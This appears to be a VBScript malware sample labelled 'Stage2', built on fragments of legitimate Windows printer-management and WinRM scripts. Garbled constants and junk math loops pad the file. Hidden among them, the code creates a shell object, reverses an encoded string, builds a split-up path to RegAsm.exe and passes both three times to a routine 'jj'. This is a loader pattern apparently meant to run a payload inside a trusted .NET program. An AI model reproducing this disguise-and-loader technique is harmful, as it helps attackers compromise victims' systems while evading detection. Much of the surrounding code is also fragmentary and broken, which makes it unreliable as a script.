266 Stage2
266 Stage2
impr22esión3"
Const L_Text_Msg_Status4_Text = "Imprimie333n444d33333333333333o el
do3333333333cumento actual4"
Const L_Text_Msg_Status5_Text = "La333333333
im44pr33es33333333o33333333333333333333ra e333st33á 333fuera44 de pap44el5"
For i = 1 To 100
constanteName = "L_Text_Msg_Status" & i & "_Text"
Next
Dim i, constanteName
For i = 1 To 200
constanteName = "L_Text_Msg_Status" & i & "_Text"
Next
For i = 1 To MAX_ITERATIONS
For j = 1 To MAX_ITERATIONS
For k = 1 To MAX_ITERATIONS
x = Sin(i * PI / 180) * Cos(j * PI / 180)
y = Cos(k * PI / 180) * Sin(j * PI / 180)
z = Tan(i * PI / 180) * Sin(k * PI / 180)
If (x + y + z > 0) Then
result = Sqr(x + y + z)
Else
result = Sqr(-x - y - z)
End If
Next
Next
Next
Set xx = CreateObject("WScript.Shell")
rowCount = 4
colCount = 6
For x = 1 To rowCount
For y = 1 To colCount
totalSum = totalSum + data(x, y)
If data(x, y) <> 0 Then
If totalProduct = 0 Then
totalProduct = data(x, y)
Else
totalProduct = totalProduct * data(x, y)
End If
End If
Next
Next
For x = 1 To rowCount
For y = 1 To colCount
Next
Next
ss = StrReverse(ss)
tt = xx.ExpandEnvironmentStrings("%windir%") & "\" & p1 & p2 & p3 & p4 & "\
v4.0.30319\Re" & "gA" & "sm.exe"
jj ss, tt
jj ss, tt
jj ss, tt
rowsCount = 5
columnsCount = 3
For x = 1 To rowsCount
For y = 1 To columnsCount
totalSum = totalSum + data(x, y)
If data(x, y) <> 0 Then
If totalProduct = 0 Then
totalProduct = data(x, y)
Else
totalProduct = totalProduct * data(x, y)
End If
End If
Next
Next
For i = 1 To rowCount
For j = 1 To colCount
Next
Next
End Sub
Sub PrintResults(sum, product)
End Sub
dim oService
dim oPrinter
dim iRetval
iRetval = kErrorFailure
else
DelPrinter = kErrorFailure
exit function
end if
'
' Check if Get was successful
'
if Err.Number = kErrorSuccess then
oPrinter.Delete_
iRetval = kErrorSuccess
else
'
' Try getting extended error information
'
call LastError()
end if
else
wscript.echo L_Text_Msg_General06_Text & L_Space_Text & strPrinter &
L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) _
& L_Space_Text & Err.Description
'
' Try getting extended error information
'
call LastError()
end if
DelPrinter = iRetval
end function
'
' Delete all local printers and connections on a machine
'
function DelAllPrinters(kAction, strServer, strUser, strPassword)
dim Printers
dim oPrinter
dim oService
dim iResult
dim iTotal
dim iTotalDeleted
dim strPrinterName
dim bDelete
dim bConnection
dim strTemp
else
DelAllPrinters = kErrorFailure
exit function
end if
DelAllPrinters = kErrorFailure
exit function
end if
iTotal = 0
iTotalDeleted = 0
strPrinterName = oPrinter.DeviceID
bConnection = oPrinter.Network
bDelete = 1
iTotal = iTotal + 1
bDelete = 1
iTotal = iTotal + 1
bDelete = 1
iTotal = iTotal + 1
else
bDelete = 0
end if
if bDelete = 1 then
if bConnection then
else
strTemp = L_Space_Text
end if
'
' Delete printer instance
'
oPrinter.Delete_
iTotalDeleted = iTotalDeleted + 1
else
'
' Try getting extended error information
'
call LastError()
'
' Continue deleting the rest of the printers despite this error
'
Err.Clear
end if
end if
next
wscript.echo L_Empty_Text
else
end if
DelAllPrinters = kErrorSuccess
end function
'
' List the printers
'
function ListPrinters(strServer, strUser, strPassword)
dim Printers
dim oService
dim oPrinter
dim iTotal
else
ListPrinters = kErrorFailure
exit function
end if
ListPrinters = kErrorFailure
exit function
end if
iTotal = 0
iTotal = iTotal + 1
wscript.echo L_Empty_Text
wscript.echo L_Text_Msg_Printer01_Text & L_Space_Text & strServer
wscript.echo L_Text_Msg_Printer02_Text & L_Space_Text & oPrinter.DeviceID
wscript.echo L_Text_Msg_Printer03_Text & L_Space_Text & oPrinter.ShareName
wscript.echo L_Text_Msg_Printer04_Text & L_Space_Text & oPrinter.DriverName
wscript.echo L_Text_Msg_Printer05_Text & L_Space_Text & oPrinter.PortName
wscript.echo L_Text_Msg_Printer06_Text & L_Space_Text & oPrinter.Comment
wscript.echo L_Text_Msg_Printer07_Text & L_Space_Text & oPrinter.Location
wscript.echo L_Text_Msg_Printer08_Text & L_Space_Text & oPrinter.SepFile
wscript.echo L_Text_Msg_Printer09_Text & L_Space_Text &
oPrinter.PrintProcessor
wscript.echo L_Text_Msg_Printer10_Text & L_Space_Text &
oPrinter.PrintJobDataType
wscript.echo L_Text_Msg_Printer11_Text & L_Space_Text & oPrinter.Parameters
wscript.echo L_Text_Msg_Printer12_Text & L_Space_Text &
CSTR(oPrinter.Attributes)
wscript.echo L_Text_Msg_Printer13_Text & L_Space_Text &
CSTR(oPrinter.Priority)
wscript.echo L_Text_Msg_Printer14_Text & L_Space_Text &
CStr(oPrinter.DefaultPriority)
end if
Err.Clear
next
wscript.echo L_Empty_Text
wscript.echo L_Text_Msg_General09_Text & L_Space_Text & iTotal
ListPrinters = kErrorSuccess
end function
'
' Get the default printer
'
function GetDefaultPrinter(strUser, strPassword)
dim oService
dim oPrinter
dim iRetval
dim oEnum
iRetval = kErrorFailure
'
' We connect to the local server
'
if WmiConnect("", kNameSpace, strUser, strPassword, oService) then
else
SetDefaultPrinter = kErrorFailure
exit function
end if
next
iRetval = kErrorSuccess
else
end if
GetDefaultPrinter = iRetval
end function
'
' Set the default printer
'
function SetDefaultPrinter(strPrinter, strUser, strPassword)
dim oService
dim oPrinter
dim iRetval
dim uResult
iRetval = kErrorFailure
'
' We connect to the local server
'
if WmiConnect("", kNameSpace, strUser, strPassword, oService) then
else
SetDefaultPrinter = kErrorFailure
exit function
end if
'
' Check if Get was successful
'
if Err.Number = kErrorSuccess then
'
' The Err object indicates whether the WMI provider reached the execution
' of the function that sets the default printer. The uResult is the Win32
' error code of the spooler function that sets the default printer
'
uResult = oPrinter.SetDefaultPrinter
iRetval = kErrorSuccess
else
end if
else
end if
else
'
' Try getting extended error information
'
call LastError()
end if
SetDefaultPrinter = iRetval
end function
'
' Converts the printer status to a string
'
function PrnStatusToString(Status)
dim str
str = L_Empty_Text
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status03_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status04_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status05_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status06_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status07_Text + L_Space_Text
end select
PrnStatusToString = str
end function
'
' Converts the extended printer status to a string
'
function ExtPrnStatusToString(Status)
dim str
str = L_Empty_Text
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status03_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status04_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status05_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status06_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status08_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status09_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status10_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status11_Text + L_Space_Text
case 12
str = str + L_Text_Msg_Status12_Text + L_Space_Text
case 13
str = str + L_Text_Msg_Status13_Text + L_Space_Text
case 14
str = str + L_Text_Msg_Status14_Text + L_Space_Text
case 15
str = str + L_Text_Msg_Status15_Text + L_Space_Text
case 16
str = str + L_Text_Msg_Status16_Text + L_Space_Text
case 17
str = str + L_Text_Msg_Status17_Text + L_Space_Text
case 18
str = str + L_Text_Msg_Status18_Text + L_Space_Text
end select
ExtPrnStatusToString = str
end function
'
' Converts the detected error state to a string
'
function DetectedErrorStateToString(Status)
dim str
str = L_Empty_Text
case 0
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status20_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status21_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status22_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status23_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status24_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status25_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status26_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status27_Text + L_Space_Text
end select
DetectedErrorStateToString = str
end function
'
' Converts the extended detected error state to a string
'
function ExtDetectedErrorStateToString(Status)
dim str
str = L_Empty_Text
case 0
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status20_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status21_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status22_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status23_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status24_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status25_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status26_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status27_Text + L_Space_Text
case 12
str = str + L_Text_Msg_Status28_Text + L_Space_Text
case 13
str = str + L_Text_Msg_Status29_Text + L_Space_Text
case 14
str = str + L_Text_Msg_Status30_Text + L_Space_Text
case 15
str = str + L_Text_Msg_Status31_Text + L_Space_Text
case 16
str = str + L_Text_Msg_Status32_Text + L_Space_Text
end select
ExtDetectedErrorStateToString = str
end function
'
' Debug display helper function
'
sub DebugPrint(uFlags, strString)
end if
end if
end if
end sub
'
' Parse the command line into its components
'
function ParseCommandLine(iAction, strServer, strPrinter, strDriver, strPort,
strUser, strPassword)
dim oArgs
dim iIndex
iAction = kActionUnknown
iIndex = 0
case "-a"
iAction = kActionAdd
case "-ac"
iAction = kActionAddConn
case "-d"
iAction = kActionDel
case "-x"
iAction = kActionDelAll
case "-xc"
iAction = kActionDelAllCon
case "-xo"
iAction = kActionDelAllLocal
case "-l"
iAction = kActionList
case "-g"
iAction = kActionGetDefaultPrinter
case "-t"
iAction = kActionSetDefaultPrinter
case "-s"
iIndex = iIndex + 1
strServer = RemoveBackslashes(oArgs(iIndex))
case "-p"
iIndex = iIndex + 1
strPrinter = oArgs(iIndex)
case "-m"
iIndex = iIndex + 1
strDriver = oArgs(iIndex)
case "-u"
iIndex = iIndex + 1
strUser = oArgs(iIndex)
case "-w"
iIndex = iIndex + 1
strPassword = oArgs(iIndex)
case "-r"
iIndex = iIndex + 1
strPort = oArgs(iIndex)
case "-?"
Usage(true)
exit function
case else
Usage(true)
exit function
end select
iIndex = iIndex + 1
wend
ParseCommandLine = kErrorSuccess
else
end if
end function
'
' Display command usage.
'
sub Usage(bExit)
wscript.echo L_Help_Help_General01_Text
wscript.echo L_Help_Help_General02_Text
wscript.echo L_Help_Help_General03_Text
wscript.echo L_Help_Help_General04_Text
wscript.echo L_Help_Help_General05_Text
wscript.echo L_Help_Help_General06_Text
wscript.echo L_Help_Help_General07_Text
wscript.echo L_Help_Help_General08_Text
wscript.echo L_Help_Help_General09_Text
wscript.echo L_Help_Help_General10_Text
wscript.echo L_Help_Help_General11_Text
wscript.echo L_Help_Help_General12_Text
wscript.echo L_Help_Help_General13_Text
wscript.echo L_Help_Help_General14_Text
wscript.echo L_Help_Help_General15_Text
wscript.echo L_Help_Help_General16_Text
wscript.echo L_Help_Help_General17_Text
wscript.echo L_Help_Help_General18_Text
wscript.echo L_Help_Help_General19_Text
wscript.echo L_Empty_Text
wscript.echo L_Help_Help_General20_Text
wscript.echo L_Help_Help_General21_Text
wscript.echo L_Help_Help_General22_Text
wscript.echo L_Help_Help_General23_Text
wscript.echo L_Help_Help_General24_Text
wscript.echo L_Help_Help_General25_Text
wscript.echo L_Help_Help_General26_Text
wscript.echo L_Help_Help_General27_Text
wscript.echo L_Help_Help_General28_Text
wscript.echo L_Help_Help_General29_Text
if bExit then
wscript.quit(1)
end if
end sub
'
' Determines which program is being used to run this script.
' Returns true if the script host is cscript.exe
'
function IsHostCscript()
dim strFullName
dim strCommand
dim i, j
dim bReturn
bReturn = false
strFullName = WScript.FullName
if i <> 0 then
j = InStrRev(strFullName, "\", i, 1)
if j <> 0 then
bReturn = true
end if
end if
end if
end if
IsHostCscript = bReturn
end function
'
' Retrieves extended information about the last error that occurred
' during a WBEM operation. The methods that set an SWbemLastError
' object are GetObject, PutInstance, DeleteInstance
'
sub LastError()
dim oError
end if
end sub
'
' Connects to the WMI service on a server. oService is returned as a service
' object (SWbemServices)
'
function WmiConnect(strServer, strNameSpace, strUser, strPassword, oService)
dim oLocator
dim bResult
oService = null
bResult = false
bResult = true
oService.Security_.impersonationlevel = 3
'
' Required to perform administrative tasks on the spooler service
'
oService.Security_.Privileges.AddAsString "SeLoadDriverPrivilege"
Err.Clear
else
end if
else
end if
WmiConnect = bResult
end function
'
' Remove leading "\\" from server name
'
function RemoveBackslashes(strServer)
dim strRet
strRet = strServer
strRet = Mid(strServer, 3)
end if
RemoveBackslashes = strRet
end function
Private Function GetElementByXpath(msxmlObj, xpath)
GetElementByXpath = ""
Dim elementList
Dim currentElement
Dim currentElement
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementXml(msxmlObj, currentElement)
GetElementXml = ""
Dim elementList
GetElementByXpath = currentElement.xml
End Function
'''''''''''''''''''''
' Returns XML ns depending on the type of URI
resUriLCase = LCase(resUri)
'''''''''''''''''''''
' Verify if target is in IPv6 format
private function IsIPv6(target)
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Pattern = PTRN_IPV6_S
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regExpObj.Execute(target)
if matches.Count <> 0 then
IsIPv6 = true
else
IsIPv6 = false
end if
end function
'''''''''''''''''''''
' Extracts XML root node nm. from URI
dim regexpObj
Set regexpObj = New RegExp
sfx = ""
select case opr
case OP_PUT
uriTmp = resUri
case OP_CRE
uriTmp = resUri
case OP_INV
uriTmp = actUri
sfx = GetSuffix(resUri)
case else
GetRootNodeName = ""
exit function
end select
ASSERTBOOL Len(uriTmp) <> 0, GetResource("L_URIZERO_Message")
uriTmp = StripParams(uriTmp)
regexpObj.Pattern = PTRN_URI_LAST
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regexpObj.Execute(uriTmp)
ASSERTBOOL matches.Count = 1, GetResource("L_NOLASTTOK_Message")
uriTmp = matches(0)
ASSERTBOOL Len(uriTmp) <> 0, GetResource("L_URIZEROTOK_Message")
dim regexpObj
dim resultDictionary
set resultDictionary = CreateObject("Scripting.Dictionary")
regexpObj.Pattern = PTRN_HASH_VALIDATE
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count <> 1 then
stdErr.WriteLine GetResource("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
dim expectedLength
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
expectedLength = matches.Count-1
for each m in matches
expectedLength = expectedLength + m.Length
next
'account for starting and closing {}
expectedLength = expectedLength + 2
if (expectedLength <> Len(hashString)) then
stdErr.WriteLine GetResource("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count > 0 then
for each m in matches
if resultDictionary.Exists(m.Submatches(0)) then
stdErr.WriteLine GetResource("L_ERR_Message") &
GetResource("L_PUT_PARAM_NOARRAY_Message") & m.Submatches(0)
set ProcessParameterHash = Nothing
Exit Function
end if
if LCase(m.Submatches(1)) = "$null" then
resultDictionary.Add m.Submatches(0),null
else
resultDictionary.Add m.Submatches(0),m.Submatches(2)
end if
next
end if
ElseIf hashString <> "{}" Then
stdErr.WriteLine GetResource("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
Else
stdErr.WriteLine GetResource("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
private function
CreateAndInitializeResourceLocator(wsman,resourceUri,cmdlineOptions)
on error resume next
Dim key
dim resourceLocator
dim paramMap
Dim optionsValue
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' create the resource locator object
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the options on the resource locator
optionsValue = cmdlineOptions.Argument("options")
If Len(optionsValue) Then
set paramMap = ProcessParameterHash(optionsValue)
if paramMap Is Nothing then
set CreateAndInitializeResourceLocator = Nothing
'todo exit function
end if
for each key in paramMap
if IsNull(paramMap(key)) then
resourceLocator.AddOption key, null
else
resourceLocator.AddOption key,paramMap(key)
end if
next
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the fragment path and fragment dialect on the resource locator
if(cmdlineOptions.ArgumentExists(NPARA_FRAGMENT)) then
resourceLocator.FragmentPath = cmdlineOptions.Argument(NPARA_FRAGMENT)
end if
if(cmdlineOptions.ArgumentExists(NPARA_DIALECT)) then
resourceLocator.FragmentDialect = cmdlineOptions.Argument(NPARA_DIALECT)
end if
'''''''''''''''''''''
' Reads input XML from the stdin or builds XML from @{...}
dim parameterDic,key
dim putStr
dim elementList
dim currentElement
dim paramXmlFile
dim tmpNode
dim parameterString
dim parameterCount
dim xmlns
xmlns = GetXmlNs(resourceLocator.ResourceURI)
putStr = "<p:" & root & " " & xmlns & nilns & ">" & _
parameters & "</p:" & root & ">"
if parameterCount = 0 then
stdErr.WriteLine GetResource("L_ERR_Message") &
GetResource("L_PUT_PARAM_NOINPUT_Message")
inputStr = ""
ProcessInput = false
exit function
end if
'''''''''''''''''''''
' Escapes non XML chars
sessionFlags = 0
proxyAccessType = 0
proxyAccessTypeVal = 0
proxyAuthenticationMechanism = 0
proxyAuthenticationMechanismVal = 0
proxyUsername = ""
proxyPassword = ""
if optDic.ArgumentExists(NPARA_ENCODING) then
ASSERTNAL(NPARA_ENCODING)
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-encoding' option is
only valid when used with the '-remote' option"
encodingVal = optDic.Argument(NPARA_ENCODING)
if LCase(encodingVal) = "utf-16" then
sessionFlags = sessionFlags OR wsman.SessionFlagUTF16
elseif LCase(encodingVal) = "utf-8" then
sessionFlags = sessionFlags OR wsman.SessionFlagUTF8
else
' Invalid!
ASSERTBOOL false, "The specified encoding flag is invalid."
end if
end if
if optDic.ArgumentExists(NPARA_UNENCRYPTED) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" &
NPARA_UNENCRYPTED & "' option is only valid when used with the '-remote' option"
'C API will ensure that unencrypted is only used w/ http
sessionFlags = sessionFlags OR wsman.SessionFlagNoEncryption
end if
if optDic.ArgumentExists(NPARA_USESSL) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_USESSL
& "' option is only valid when used with the '-remote' option"
sessionFlags = sessionFlags OR wsman.SessionFlagUseSsl
end if
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTNAL(NPARA_AUTH)
authVal = optDic.Argument(NPARA_AUTH)
select case LCase(authVal)
case VAL_NO_AUTH
sessionFlags = sessionFlags OR wsman.SessionFlagUseNoAuthentication
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" &
NPARA_CERT & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" &
NPARA_USERNAME & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" &
NPARA_PASSWORD & "' option is only valid for '-auth:none'"
case VAL_BASIC
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" &
NPARA_USERNAME & "' option must be specified for '-auth:basic'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" &
NPARA_CERT & "' option is not valid for '-auth:basic'"
sessionFlags = sessionFlags OR
wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseBasic
case VAL_DIGEST
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" &
NPARA_USERNAME & "' option must be specified for '-auth:digest'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" &
NPARA_CERT & "' option is not valid for '-auth:digest'"
sessionFlags = sessionFlags OR
wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseDigest
case VAL_KERBEROS
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" &
NPARA_CERT & "' option is not valid for '-auth:kerberos'"
sessionFlags = sessionFlags OR wsman.SessionFlagUseKerberos
case VAL_NEGOTIATE
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" &
NPARA_CERT & "' option is not valid for '-auth:negotiate'"
sessionFlags = sessionFlags OR wsman.SessionFlagUseNegotiate
case VAL_CERT
'-certificate is mandatory.
ASSERTBOOL optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT
& "' option must be specified for '-auth:certificate'"
'-username or -password must not be used
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" &
NPARA_USERNAME & "' option is not valid for '-auth:certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" &
NPARA_PASSWORD & "' option is not valid for '-auth:certificate'"
sessionFlags = sessionFlags OR
wsman.SessionFlagUseClientCertificate
case VAL_CREDSSP
'Use -username and -password.
ASSERTBOOL osVersion >= osVista, "The specified '-" & NPARA_AUTH &
"' flag '" & authVal & "' has an invalid value."
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" &
NPARA_USERNAME & "' option must be specified for '-auth:credssp'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" &
NPARA_CERT & "' option is not valid for '-auth:credssp'"
sessionFlags = sessionFlags OR
wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseCredSSP
case else
ASSERTBOOL false, "The specified '-" & NPARA_AUTH & "' flag '" &
authVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_USERNAME) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT &
"' option cannot be used together with '-username'"
set conOpt = wsman.CreateConnectionOptions
conOpt.UserName = optDic.Argument(NPARA_USERNAME)
if optDic.ArgumentExists(NPARA_PASSWORD) then
conOpt.Password = optDic.Argument(NPARA_PASSWORD)
end if
sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword
end if
if optDic.ArgumentExists(NPARA_DEFAULTCREDS) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" &
NPARA_USERNAME & "' option cannot be used together with '-defaultCreds'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" &
NPARA_PASSWORD & "' option cannot be used together with '-defaultCreds'"
'this is only valid if -auth:Negotiate is specified
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE), "The " &
NPARA_DEFAULTCREDS & " option is only valid when the authentication mechanism is "
& VAL_NEGOTIATE
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR
wsman.SessionFlagAllowNegotiateImplicitCredentials
end if
if optDic.ArgumentExists(NPARA_CERT) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" &
NPARA_USERNAME & "' option cannot be used together with '-certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" &
NPARA_PASSWORD & "' option cannot be used together with '-certificate'"
set conOpt = wsman.CreateConnectionOptions
conOpt.CertificateThumbprint = optDic.Argument(NPARA_CERT)
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_CERT), "The " &
NPARA_CERT & " option is only valid when the authentication mechanism is " &
VAL_CERT
end if
'-auth might be missing, in which case we assume -a:Certificate
sessionFlags = sessionFlags OR wsman.SessionFlagUseClientCertificate
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
ASSERTNAL(NPARA_PROXYACCESS)
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAccessTypeVal = optDic.Argument(NPARA_PROXYACCESS)
select case LCase(proxyAccessTypeVal)
case VAL_PROXY_IE_CONFIG
proxyAccessType = conOpt.ProxyIEConfig
case VAL_PROXY_WINHTTP_CONFIG
proxyAccessType = conOpt.ProxyWinHttpConfig
case VAL_PROXY_AUTODETECT
proxyAccessType = conOpt.ProxyAutoDetect
case VAL_PROXY_NO_PROXY_SERVER
proxyAccessType = conOpt.ProxyNoProxyServer
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYACCESS & "' field
'" & proxyAccessTypeVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYAUTH) then
ASSERTNAL(NPARA_PROXYAUTH)
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYACCESS), "The '-" &
NPARA_PROXYAUTH & "' option is only valid when used with the '-" &
NPARA_PROXYACCESS & "' option"
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAuthenticationMechanismVal = optDic.Argument(NPARA_PROXYAUTH)
select case LCase(proxyAuthenticationMechanismVal)
case VAL_BASIC
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseBasic
case VAL_DIGEST
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseDigest
case VAL_NEGOTIATE
proxyAuthenticationMechanism =
conOpt.ProxyAuthenticationUseNegotiate
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYAUTH & "' flag '"
& proxyAuthenticationMechanismVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYUSERNAME) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYAUTH), "The '-" &
NPARA_PROXYUSERNAME & "' option is only valid when used with the '-" &
NPARA_PROXYAUTH & "' option"
proxyUsername = optDic.Argument(NPARA_PROXYUSERNAME)
end if
if optDic.ArgumentExists(NPARA_PROXYPASSWORD) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYUSERNAME), "The '-" &
NPARA_PROXYPASSWORD & "' option is only valid when used with the '-" &
NPARA_PROXYUSERNAME & "' option"
proxyPassword = optDic.Argument(NPARA_PROXYPASSWORD)
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
on error resume next
responseStr = conOpt.SetProxy(proxyAccessType,
proxyAuthenticationMechanism, proxyUsername, proxyPassword)
ASSERTERR conOpt, formatOption
on error goto 0
end if
if optDic.ArgumentExists(NPARA_NOCACHK) then
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagSkipCACheck
end if
if optDic.ArgumentExists(NPARA_NOCNCHK) then
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagSkipCNCheck
end if
if optDic.ArgumentExists(NPARA_NOREVCHK) then
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagSkipRevocationCheck
end if
if optDic.ArgumentExists(NPARA_SPNPORT) then
'this is only valid if -auth is not specified or if -auth:Negotiate or -
auth:Kerberos is specified
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE OR
LCase(optDic.Argument(NPARA_AUTH)) = VAL_KERBEROS), "The " & NPARA_SPNPORT & "
option is only valid when the authentication mechanism is " & VAL_NEGOTIATE & " or
" & VAL_KERBEROS
end if
sessionFlags = sessionFlags OR wsman.SessionFlagEnableSPNServerPort
end if
if optDic.ArgumentExists(NPARA_TIMEOUT) then
ASSERTNAL(NPARA_TIMEOUT)
tout = optDic.Argument(NPARA_TIMEOUT)
ASSERTBOOL IsNumeric(tout), "Numeric value for -timeout option is expected"
session.Timeout = optDic.Argument(NPARA_TIMEOUT)
end if
if Len(rawStr) = 0 then
ReFormat = false
exit function
end if
xmlFile.async = false
xslFile.async = false
xmlFile.LoadXML(rawStr)
if (xmlFile.parseError.errorCode <> 0) then
stdErr.WriteLine GetResource("L_XMLERROR_Message") &
xmlFile.parseError.reason
on error goto 0
ReFormat = false
exit function
end If
FORMAT_XSL_PATH = WSHShell.ExpandEnvironmentStrings("%systemroot%\
system32\")
if InStr(LCase(WScript.Path),"\syswow64") > 0 then
FORMAT_XSL_PATH = WSHShell.ExpandEnvironmentStrings("%systemroot%\
syswow64\")
end if
Dim helpFctn
topic = LCase(topic)
If helpMenu.Exists(topic) Then
helpFctn = helpMenu(topic)
Else
helpFctn = "HelpHelp"
End If
End Sub
''''''''''''''''''''''''''''''''''''''''''''
' HELP - HELP
Private Sub HelpHelp(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpHelp_000_0_Message") & NL & _
GetResource("L_HelpHelp_001_0_Message") & NL & _
GetResource("L_HelpHelp_001_1_Message") & NL & _
GetResource("L_HelpHelp_002_0_Message") & NL & _
GetResource("L_HelpHelp_003_0_Message") & NL & _
GetResource("L_HelpHelp_004_0_Message") & NL & _
GetResource("L_HelpHelp_005_0_Message") & NL & _
